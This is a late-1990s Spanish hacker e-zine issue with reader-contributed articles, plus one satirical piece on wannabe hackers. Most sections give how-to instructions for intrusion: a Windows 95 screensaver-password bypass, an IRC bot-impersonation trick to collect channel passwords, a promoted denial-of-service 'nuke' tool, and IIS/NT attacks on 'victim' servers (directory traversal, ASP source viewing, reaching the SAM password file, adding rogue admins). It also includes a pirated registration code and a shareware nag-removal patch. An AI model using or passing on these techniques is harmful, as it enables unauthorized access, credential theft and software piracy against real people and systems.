Ahora veras "Store Not Done" en la pantalla. Usa la tecla de (R)ellamada
seguida de las localizaciones 1, 2, 4 y 5...
El NOKIA 121 es similar a la serie 101/201 (es el mismo telefono
excepto el teclado y el software...Technophone tambien tiene un modelo
que es identico (osea que es mas baratillo el de esta marca...)
Las localizaciones 1 & 2 contienen la informacion para la NAM 1 mientras
que la 4 & 5 contienen la NAM 2. No estoy seguro en el NOKIA 121
pero para el 101/201 aqui esta la secuencia de programcion...
*3001#12345 00 (Pone en pantalla "store not done")
RCL 01 te da el codigo del pais, llamada de emergencia y codigo de bloqueo
RCL 02 te da el numero de telefono de 10 digitos
RCL 03 te da el SYS ID (5 digitos, 3 de ellos no se ven hasta que no
bajes hacia abajo cuando programes el telefono , el bit de acceso
local, la marca MIN, el canal de control inicial, la clase de
sobrecarga de acceso y el grupo ID.
Estas 3 localizaciones de memoria son para la NAM 1, y 4&5 lo son para
la NAM 2 (la localizacion de memoria 01 es comun para ambas NAMS)
++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Osea que aqui termina mi INFORMACION, no he querido o NO he podido
+ profundizar mas en la programacion de los NOKIAS porque NO
+ disponia de ningun modelo para hacer las pruebas, agradeceria a cualquier
+ lector de la revista que pudiese usar estos datos en sus NOKIAS para
+ que nos diera mas informacion de sus observaciones.
+ O que es lo que ha podido programar...
+
+ En todo caso tenganme en contacto en:
+
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
+
+ Un saludote y hasta la proxima!
+ Que traere la programacion de la serie MOTOROLA.....
+ Y si puedo hasta la de ALCATEL,... sigan en la espera mi pana!!!
+
+ SlimeLORD
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Aqui teneis algo de humor. Lo encontre por las news traducido del ingles. Es
bastante original e incluso se podria decir que es el retrato robot de algun
que otro lamer ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
8 - COMO SER UN "JAKER" EN 10 MINUTOS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
COMO SER UN "JAKER" EN 10 MINUTOS O EN 10 LECCIONES BREVES
----------------------------------------------------------
Estimado futuro "jaker":
1) En primer lugar tu no puedes llamarte de cualquier manera si te vas
a dedicar a esto: no vale Pepe, Ramirez, Lucas o cosas asi. Debes elegir
un "nick" apropiado como Kajjin, kOrLeOnE, BronKa, ViErNeS13, o similar.
2) Tu direccion de correos no puede ser tan vulgar como la mia. Debes
buscarte algo acorde con el nick, y por supuesto mas falsa que una
moneda de 30 duros, por ejemplo:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
(nada de
jerarquia .es, la tuya debe ser .com, .org, u otra similar de tu
invencion (ejemplo de la vida real: "
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
"), aunque
resulte que eres de Ceuta y uses el OUTLOOK EXPRESS.
3) Por supuesto tu no usas una computadora (joder!), ni un cerebro
electronico (esto ni de co¤a, por favor!), ni siquiera un ordenador. Lo
tuyo es una "maquina" que corre bajo UNIX o LINUX. Como se te ocurra
nombrar GUINDOS la cagaste pa toa la vida.
4) Tus mensajes (desde ahora "posts") al grupo, una vez redactados
"offline" los repasas, quitas las Q y las cambias por K, asi como los
sonidos CA (KA), CO (KO), CU (KU). No sabes la impresion de duro, de
"halternatibo", de algo asi como a lo Santiago Segura, que da este
toke!... Si ademas dejas caer que te encanta INTOZIKAZION EHTILIKA,
JENOZIDAS HAGUERRIDOS... jo! eso ya es la hostia...
5) Tu "news reader" (o sea el programejo para leer estas tonterias) es
la ultima version del "AGENT", debidamente crakeada, cuando tu no tienes
ni pajolera idea de ingles y encima el co¤azo de no saber como leches
marcar, bajar, responder, eliminar... En fin, todo sea por el bien de la
causa, con lo comodo que es el Netscape o el Outlook Express (spanish
version, claro)
6) Por supuesto no se te ocurra pedir nada. Tu lo sabes todo (de
momento). Cuando te consideren "guru" llega el momento de pedir el crack
del WINZIP o cualquier otra "merde" por el estilo diciendo que es "pa un
kolega jili ke usa er Guindoz"
7) En alguno de tus post debes contar que una vez te colaste en un
sistema como "root", "deduciendo" login y pasword, y que les dejaste una
hermosa "huella" de tu paso (no vayas a decir que te cagaste, que
tampoco es eso)
8) Ni se te ocurra decir que bajas soft de Paniagua, Tucows, Ethek,
Shareware, y mucho menos de Microsoft (di siempre Mocosof, que mola un
mazo). Tu esos sitios ni los visitas; te pasas horas en Islatortuga
(aunque solo sea mirando extasiado la "home page"), Kanniball, o en el
PGP (del que por supuesto tienes la ultima version). Antes molaba el
Private Idaho, pero desde que el Keanu Reeves hizo la pelicula suena un
poco amariconado, o sea por alli tampoco iras desde ahora.
9) Estas suscrito, por supuesto a todos los grupos 2600, warez,
hacking, prehaking (esto no se como s'escribe) y fucking (esto si), y
por aqui solo vienes a dar algun consejillo que nunca es alabado ni
valorado lo suficiente (snif...).
10) Contesta (manda "replys") a todos los post off topic que pidan algo
como craks, drivers, serial numbers... en el que aparezca algo asi como
"Tu eres un lamer de mierda!", o "ke t den". Ah! olvidate de
horterolas y cutremovil; tu no usas esas pijadas de "lamer", como mucho
un GSM con "tarjeta de recarga tomatica, jejeje".
Al poco tiempo te habras hecho un nombre y ya puedes empezar a pedir lo
que pide la mayoria. Veras que hay poco kacker a los que admirar, y que
lo que abunda es un pu¤ado de "marianos" que van por la vida presumiendo
de no se que...
Saludos, sus y a por ellos. O'F.
MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW
Parece que a Microsoft no se les acaban los bugs. Esta vez es en el protector
de pantalla y ... solo para HP :(
MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW
9 - BUG WIN95+HP
~~~~~~~~~~~~~~~~
-------------------------------------------------------------
--------------------BUG WIN95+HP-----------------------------
------------------12r43lOverdrive----------------------------
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
-------------------------
-------------------------------------------------------------
Esta es una premisa de C-R-A-S-H.
BUG-WIN95+HP es el nombre que le he dado a lo que sigue.
Acceder al PC con la contraseña del protector de pantalla de Windows 95
activada? Como ustedes sabran hay muchas formas de hacer esto, una, y de la
cual hablaremos en este articulo es en las computadoras Hewlett Packard, ya
sean Brio o Vectra acupando el Extended Keyboard de HP, es decir el teclado
de botoncitos de acceso directo de HP.
He aqui como hacerlo:
Primero cuando Windows nos pida la contraseña del protector de pantalla hay
que presionar el boton con una luna y con un icono de un candadito en la parte
superior derecha del teclado. Cuando aparezca una alerta que nos indica que la
maquina va a entrar a modo dormir, etc.. le decimos que si, despues de unos
segundos presionamos la barra espaciadora y listo! tenemos la barra de
herramientas visible y lista para ser usada, lo que yo recomiendo es presionar
con el mouse el boton del logo de Windows y seleccionar el icono de ms-dos o
sino la opcion de ejecutar, (no veremos lo que pasa en el escritorio ya que el
protector de pantalla lo sigue tapando, asi que hay que ir a ciegas) despues
escribir command.com y tendremos el control de la PC por DOS.
En dado caso que Windows tenga configurado a DOS para ejecutarse en ventana,
simplemente presionando ALT+INTRO se ejecutara en pantalla completa.
Lo anterior fue probado con varios protectores de pantalla y la version mas
reciente de Windows, en varias PC's, por lo que espero funcione en versiones
anteriores de Windows y en otras maquinas.
Otra teoria es que cualquier maquina que tenga Windows95 y ademas tenga un
boton de entrar a modo dormir puede dar resultados similares a lo anterior,
pruebenlo!
12r-1998
------CRASH-------
12r Overdrive 1998
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
------------------
ßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜ
Y ya que estamos con el Windows, aqui teneis algunos truquillos mas, pero
esta vez para el 3.x ...
ßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜ
10 - CAMBIAR EL LOGO DE INICIO DE WINDOWS 3.X
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Si quieres que tu lamentable profesor de informatica se quede con la boca
abierta al ver una foto X al iniciar el Windows toma nota:
Con un editor grafico crea un archivo grafico con formato RLE.
El archivo lo puedes crear con un programa como Paint Shop Pro y para cambiar
su formato pillate el Graphic Work Shop en la pagina
www.mindworkshop.com/alchemy/gww.html, ademas por gentileza de Mr_Frost este
es el codigo de registro:
numero: 29581
numbre: WareZoHolicS
Este codigo es para la version de Windows 3.x pero creo que tambien vale para
las demas, este programa ademas de ser un excelente visualizador de imagenes
tiene bastantes formatos de conversion, entre ello el RLE.
Atencion, el archivo grafico no debe tener mas de 16 colores ni ocupar mas de
47696 bytes ni tener una resolucion mayor a 640x480 pixels.
Este archivo sera incluido dentro del ejecutable win.com asi que mas vale hacer
una copia antes de empezar a trastearlo.
Desde la linea de mandatos del MS-DOS teclearemos lo siguiente:
C:\>copy /b systm\win.cnf+system\vgalogo.lgo+milogo.rle win.com
siendo "milogo.rle" el archivo grafico creado por nosotros.
Ahora cada vez que se inicie el Windows saldra nuestro dibujo.
Para que no aparezca ningun logo al inicio basta con teclear win : cada vez
se cargue.
Para crear un win.com si logo:
C:\WINDOWS>copy system\win.cnf win.com ;ojo, desde el directorio Windows.
Para hacer la operacion contraria, restaurar el antiguo logo, copia el win.com
encima del antiguo de la siguiente manera:
C:\>move /y a:\win.com c:\windows\win.com
Feliz Hacking, Mr_Frost
ßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßß
El Software de Frost.
~~~~~~~~~~~~~~~~~~~~~
En el numero 10 se mostraba como hackear con un editor hexadecimal, pero como
todo el mundo no tiene el Ventanuco 95 para usar el editor hedit incluido
tambien en la revista, ahi les mando un buen editor hexadecimal para MS-DOS.
Ademas, he incluido un capturador de teclado para MS-DOS (si alguien sabe de
alguno para Windows que me lo diga!!) bastante bueno y un compilador para
archivos BAT con el que podras crear tus programas sin necesidad de aprender
un lenguaje complicado.
Nota: el compilador de archivos BAT crea un odioso mensaje que sale cada vez
que se ejecuta el programa compilado, pero eso no es problema para Frost:
para quitar el mensaje y la pausa que hace antes de procesar el codigo de
nuestro programa basta con abrir el programa compilado con del editor
hexadecimal incluido y rellenar con ceros '00' todos los bytes de la cabecera
del archivo hasta el ultimo retorno de carro '0D 0A 0A' incluido.
Ejemplo: tenemos la siguiente cabecera de un archivo BAT compilado
BA 31 01 B4 09 CD 21 06 B8 40 00 8E CD B9 03 00 que contiene la pausa y
26 8A 26 6C 00 80 E4 0F 26 A0 6C 00 24 0F 3A C4 el pesado mensaje que se
74 F6 26 A0 6C 00 24 0F 3A C4 75 F6 E2 EA 07 EB ejecuta cada vez que
7E 54 68 69 73 20 66 69 6C 65 20 63 6F 6D 70 69 ejecutamos nuestro
6C 65 64 20 77 69 74 68 20 75 6E 72 65 67 69 73 programa obligandonos a
74 65 72 65 64 20 76 65 72 73 69 6F 6E 20 6F 66 pagar por usar este
20 54 75 72 62 6F 42 41 54 20 62 61 74 63 68 0D programa.
0A 66 69 6C 65 20 63 6F 6D 70 69 6C 65 72 2E 20
20 50 6C 65 61 73 65 20 72 65 67 69 73 74 65 72
20 74 6F 20 65 6C 69 6D 69 6E 61 74 65 20 74 68
69 73 20 6D 65 73 73 61 67 65 2E 0D 0A 0A ....
Para quitarlo hay que rellenar toda la cabecera con bytes neutros como 00
hasta el ultimo retono de carro que indica el final del mensaje 0D 0A 0A:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
Bueno ya saben como va esto, no? Para crear el archivo frost.zip con las
utilidades que se han descrito mas arriba copia el texto entre los puntos
(sin los puntos) y copialo a un archivo con el nombre frost.uue y usa el
programa UUDECODE (incluido en RareGaZz #1) con la siguiente SINTAXIS:
UUDECODE FROST.UUE
..........................Empieza el codigo....................................
[Image]Download Attachment: frost.zip [Get Virus Scan]
..........................Fin del codigo.......................................
Estas utilidades te haran la vida mas facil
Mr_Frost
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Y para que veais que en nuestro zine tenemos gran variedad, aqui va algo de
IRC. Algunos trucos son los de siempre, pero hay otros que estan muy bien ..
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
11 - TRUCOS PARA EL IRC HISPANO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jelou. Primero de todo felicitarles por este magnifico magazine que estan
promoviendo y que es de gran utilidad (al menos para mi). Tb me
gustaria ofrecerles mi colaboración para lo que quieran IRC paginas
interesantes algo que busquen y no encuentren, etc. como parece que el tema
del IRC lo dejan un poco a parte, es normal ya que hay cosas más
interesantes, me gustaria hacer un pequeño inciso sobre el IRC en un numero
de su revista vi que pedían más servidores españoles aquí os va una pequeña
lista de servidores españoles:
fuego.irc-hispano.org\
En estos dos servidores recomiendo el puerto 8896 (para mejor rapidez
y menor posibilidad de nukeo)
aire.irc-hispano.org /
irc.redestb.es
irc.ctv.es
irc.lleida.net
irc.catalunya.net
Yo creo que con esos servidores ya va bien. Ahora os recomendare unos
scripts y os dire paginas donde encontrarlos:
Si quereis un script para el IRC de guerra podeis conseguir estos:
- AzEzInO v2.1 ( este os lo recomiendo es genial para matar a gente :)
- Killer Zombie
Si por el contrario quereis un script de dibujitos sonidos y tonterias
estan estos otros:
- Orbital
- Beginner
- Shark
- Skripter 97
Aqui teneis una direccion donde podreis encontrara estos scripts y más:
www.arrakis.es/~sucubus
Si deseais hacer vuestro propio script para el IRC os mando un manual
pequeño pero que os dara una minima idea de como poder hacer vuestro propio
script y con ayuda de ese manual y la guia de ver otros scripts pues podeis
hacer vuestro propio script.
TRUQUITOS PARA EL IRC
Este truco funciona a veces no funciona siempre pero a veces esta bien ya
que puedes descubrir con quien hablas ya que el internet es muy falso
Al poner /dns nick sale la dns de una persona y si ponemos la dns al reves
pues en varias ocasiones sale el nombre del ordenador que le da la persona
a su ordenata acostumbra a ser su nombre, así podemos saber si miente o no.
Por ejemplo:
Estamos hablando con alguien y dice que es una tia y muchas mas cosas y su
nick es julia tu puedes poner /dns julia saldra una cosa como 195.67.87.5 y
entonces pones /dns 5.87.67.195 y si sale bien saldria el nombre del
ordenata que podria ser julia o juan depende si miente o no es un truquito
para saber con quien hablamos.
Otro truquito para conseguir passwords de la gente de los canales y tener
acceso a ese canal es que cuando haya un split, no muy anormal en el irc
hispano, tengas un clon y le pongas rapidamente el nick de Scytale ( bot de
arrakis ) y estar en muchos canales y asi la gente que entre al canal que
este registrado y tenga la autentificación automatica te dira su pass de
una forma muy rapida :)
En este mail os incluyo un nuke muy potente y recordad que los puertos que
podeis nukear son el tipico 139, 113 y hay otros pero no me los se.
Para evitar que os nukeen, que realmente no es divertido ya que suele
putearte cuando bajas archivos o estas haciendo otro tipo de maldades por
internet o telnet, lo que podeis hacer es el archivo vnbt.386 le canviais
el nombre por vnbt.bak esto es para los usuarios de win95 ya que linux creo
que no tiene ese pequeño error, de esta forma nadie podra nukearos.
Bueno de momento eso es todo espero que os haya servido de algo lo que os
he contado. Realmente como decis los hackers españoles han muerto y han
sido enterrados pero es que aquí en españa estamos muy puteados con la puta
timofonica ya que conectarse es muy caro y encima subiran a 300 pelas la
hora y los numeros 900 que funcionen no abundan mucho. Pero aunque no haya
hacekrs aunque gente como yo, como voostros que queremos que la informacion
sea libre y gratuita y que los putos poderosos dejen de darnos la bara y
que encierren a los putos políticos corruptos en vez de a inocentes hackers
que no hacen daño a nadie PODREIS METER MI CUERPO EN UNA CARCEL, PERO MI
MENTE SIEMPRE LIBRE SIEMPRE ARDE PORQUE ES INARRESTABLE ( EL CLUB DE LOS
POETAS VIOLENTOS ) Bueno y después de todo este rollo se despide alguien
que quiere colaborar con todo este movimiento y que le gustaria recibir
notificaciones de nuevas publicaciones y si necesitais ayuda en algo no
dudeis en comunicarlo que se buscara información, se realizara lo necesario
y se os ayudara. Venga adios. POBRE, LISTO, TONTO O RICO MORIRAS ( by ME )
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Cada dia se encuentran mas servidores con Windows NT. Creo que es importante
estudiarlos ya que, al ser de Microsoft, seguro que es mas facil hackearlos.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º º
º LAS º +++ Azum Lord +++ º
º POSIBILIDADES EN º º
º WINDOWS NT º http://members.xoom.com/logos/wlm.htm º
º -segunda parte- º
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
º
º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Hello World!!!!!, aprovechando que me quede en casa y no sali de vacaciones
en semana santa :-(, heme aqui y como tengo varios dias esto va estar medio
cargado.
Primero que nada tienes que saber si es un servidor NT asi que hay varias
posibilidades para saber si es o no, un servidor NT:
1. Fijate en la pagina de la vicitma talvez ahi diga
2. Ve a http://www.netcraft.com/cgi-bin/Survey/
3. Prueba NBTSTAT -A [ip address] y fijate en la respuesta
La primera opcion es la mas sencilla en esa URL se encuentra un robot que es
mas o menos como un motor de busqueda tu le das la direccion y te dice que
tipo de servidor esta corriendo, pero el problema es que no todos los servidores
estan registrados asi que en algunos no podras usar esta opcion.
La segunda opcion es la mas simple, vas a la pagina de la victima y si dice
que es un servidor NT ya la hiciste o talvez te encuntras con paginas que envez
de ser *.html o *.htm son *.asp
La tercera es la mas segura.
Si ya encontraste un servidor NT, puedes probar algunos de los siguientes
exploits.
Saltando directiorios:
Para saltar el directorio wwwroot, que es el direcorio del web, pon lo sig.:
http://www.victima.com/..\..
Pero esto ya no funciona en un servidor IIS 3.0/NT 4.0 corriendo el service
pack 3.
Viendo el contenido de un ASP:
Por ejemplo la direccion normal es www.victima.com/pagina.asp para ver el
codigo usas http://www.victima.com/pagina.asp.
^El punto hace que el codigo
sea visible en el navegador.
El problema es que esta parchado en sistemas corriendo el service pack 2 y 3
El exploit de los motores de busqueda:
Este es el que mejor funciona en casi todos los servidores que lo he probado.
Solo tienes que poner:
http://www.uyweb.com.uy/samples/search/queryhit.htm
Este servidor esta muu bien pa' practicar un rato, asi que ya sabes,
como este ay un (#!)&#)$)(($ de servidores.
Si por ejemplo sale una pagina que parece un motor de busqueda el exploit
"podria" funcionar y digo "podria" porque talvez puedas accesar a la pagina
pero al hacer una busqueda no tienes privilegios asi que esto no serviria de
nada, pero si puedes ejecutar la busqueda preparate para hacer esto:
Puedes buscar por cualquier archivo en el servidor, por ejemplo.
\WINNT\SYSTEM32\CONFIG\SAM --> Que es el archivo de password del NT
\WINNT\REPAIR --> Que es el respaldo del archivo de password del NT
O puedes buscar especificamente por un tipo de archivo usando esto:
#filename=*.asp --> Para que busque todos los archivos con terminacion
asp, haz mas pruebas con eso busca por ejecutables, zippeados, cabs
en algunos servidores puedes bajar buen software.
Tambien puedes buscar por *.htx, *.idq, *.log, *.txt, *.scp, *.doc, etc.
talvez contengan alguna informacion importante.
Estuve jugando un rato con eso, y encontre que si ese servidor tiene
instalado el Back Office para Windows NT que es para administrar bases de
datos SQL puedes buscar por un archivo que se llama anusqllogin.asp
Por si no se te prendio el foco de como buscar el archivo solo pon esto:
#filename=anusqllogin.asp
Y si lo puedes accesar puedes agregar administradores con el nombre y
passwd que quieras };-> la mayoria de las ocasiones este archivo no tenia
restricciones y lo pude accesar y ejecutar.
Tambien puedes probar este otro motor de busqueda:
http://www.victima.com/scripts/samples/search/webhits.exe
Pero la mayoria de las veces que lo he probado falla, pero vale la pena
intentarlo asi que pruebalo de todas maneras.
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
Esto es todo amigos. Espero que la hayais encontrado interesante y que sigais
colaborando con vuestros articulos y sugerencias.
Pronto volveremos con mas cosas ....
RareGaZz '98
~~~~~~~~~~~~
